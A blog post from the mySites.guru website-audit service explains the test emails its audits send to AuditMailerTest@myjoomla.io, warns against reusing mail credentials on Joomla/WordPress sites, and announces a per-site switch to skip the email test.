&lt;p&gt;&lt;img alt=&quot;Screenshot of an email from AuditMailerTest@myjoomla.io in a mail client sent folder&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1886px) 1886px, 100vw&quot; width=&quot;1886&quot; height=&quot;1088&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_Z21w7hj.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_1RPXG0.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_Z1P2Gj1.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_Z1xW8IH.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_Rmo2r.webp 1080w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_ZmkDek.webp 1280w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_ZQeaWE.webp 1668w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.54.33.DeAjJkdo_Z21w7hj.webp 1886w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At the start of every &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru audit&lt;/a&gt; we use the Joomla/WordPress Configuration for Mail settings (whatever you have your Joomla/WordPress site configured for sending mail) to send a short email to &lt;a href=&quot;mailto:AuditMailerTest@myjoomla.io&quot;&gt;AuditMailerTest@myjoomla.io&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(&lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;myJoomla was the initial name for the mySites.guru service&lt;/a&gt;, before we added support for WordPress sites, at that point &lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;we changed brand to mySites.guru&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;If we receive this then we flag that in the audit results as a success, if the email doesn’t arrive then we flag that as a failure and something to investigate.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;extract of the mySites.guru service showing the Email Configuration test result&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;253&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-12-09.41.49-1024x253.C6LGQXpU_Z21yeLB.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-12-09.41.49-1024x253.C6LGQXpU_Z2uTfdl.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.41.49-1024x253.C6LGQXpU_ZzcOaj.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.41.49-1024x253.C6LGQXpU_1KrQwV.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.41.49-1024x253.C6LGQXpU_Z21yeLB.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is a valid test to ensure your site can send emails.&lt;/p&gt;
&lt;p&gt;Now, the server that receives these emails is not a real SMTP server, its a PHP script that pretends its a SMTP server, converts the incoming email to JSON and sends it back to mySites.guru for processing.&lt;/p&gt;
&lt;p&gt;If we don’t receive the email then that is flagged in the mySites.guru audit - because &lt;strong&gt;it would mean that your Joomla/WordPress site could not send email&lt;/strong&gt; using its configured method of sending emails… - &lt;strong&gt;if your site cannot send email that might mean you are losing emails!&lt;/strong&gt; See &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to diagnose and fix your email configuration&lt;/a&gt; for a full walkthrough.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The learn More page from the mySites.guru service for the Joomla Global Config email configuration&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;1011&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-12-09.44.30-1024x1011.cqHoF59j_2gBods.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-12-09.44.30-1024x1011.cqHoF59j_Z1oQFy5.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.44.30-1024x1011.cqHoF59j_ZhuhFC.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.44.30-1024x1011.cqHoF59j_eFkWX.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-04-12-09.44.30-1024x1011.cqHoF59j_2gBods.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you can see these emails in your Mail Clients “sent items” folder it probably also means you are reusing your credentials from your mail account with your site - this is bad and should be changed - if your Joomla/WordPress site ever was hacked (like every Joomla 4 version was exploitable to expose configuration.php values, except the latest few!) then the hacker would have full control over your mail account too - gulp! Beyond configuration files, hackers often leave behind &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files you’d never spot without a dedicated scan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Normally you would set up and use a separate outgoing mail account for your Joomla/WordPress site if needed, normally a web server can be correctly configured to send mail without sending by SMTP. Personally we recommend using a SMTP service like &lt;a href=&quot;https://PostMarkApp.com&quot;&gt;PostMarkApp.com&lt;/a&gt; which provides better outgoing deliverability and visibility of sent emails. For a complete walkthrough of SMTP settings, common mistakes, and DNS configuration, see the full guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to verify your Joomla email configuration&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are receiving bounce backs or server spam error messages - then &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;check your outgoing mail settings&lt;/a&gt; - because if you are bouncing or spam flagging our emails, you are probably also flagging emails that are sent from your site.&lt;/p&gt;
&lt;h2&gt;You can now turn this test off, per site&lt;/h2&gt;
&lt;p&gt;For years my answer to “how do I stop these emails?” was that you couldn’t, short of cancelling or never running another audit. Enough of you came back with a fair reason, usually that the site never sends email at all or the host blocks outbound mail, so there is now a switch for it.&lt;/p&gt;
&lt;p&gt;Open the site in mySites.guru, click Config, and on the Advanced tab you will find Test Your Site’s Email Settings with a &lt;strong&gt;Skip the email test&lt;/strong&gt; toggle. Turn it on and two things happen: we stop asking that site to send the test email, and the Email Configuration row disappears from its audit results.&lt;/p&gt;
&lt;p&gt;Worth knowing before you reach for it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is per site, not account-wide. Switch it off on the one awkward site rather than across everything.&lt;/li&gt;
&lt;li&gt;It is off by default, so nothing changes on any site you don’t touch.&lt;/li&gt;
&lt;li&gt;It takes effect on that site’s next connector update, usually within 24 hours, so you may get one more test email after you flip it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I have not removed the check, and I would still rather you left it on. A site that cannot send email is usually a site losing contact form submissions, order confirmations and password resets without anyone noticing, and this test is the cheapest way to find that out before your customers do. But if you already know a site never sends email, there is no point in me proving it every audit.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>email</category><category>security audits</category><category>troubleshooting</category><enclosure url="https://mysites.guru/img/og/blog/emails-from-auditmailertest-myjoomla-io.png" length="0" type="image/png"/></item></channel></rss>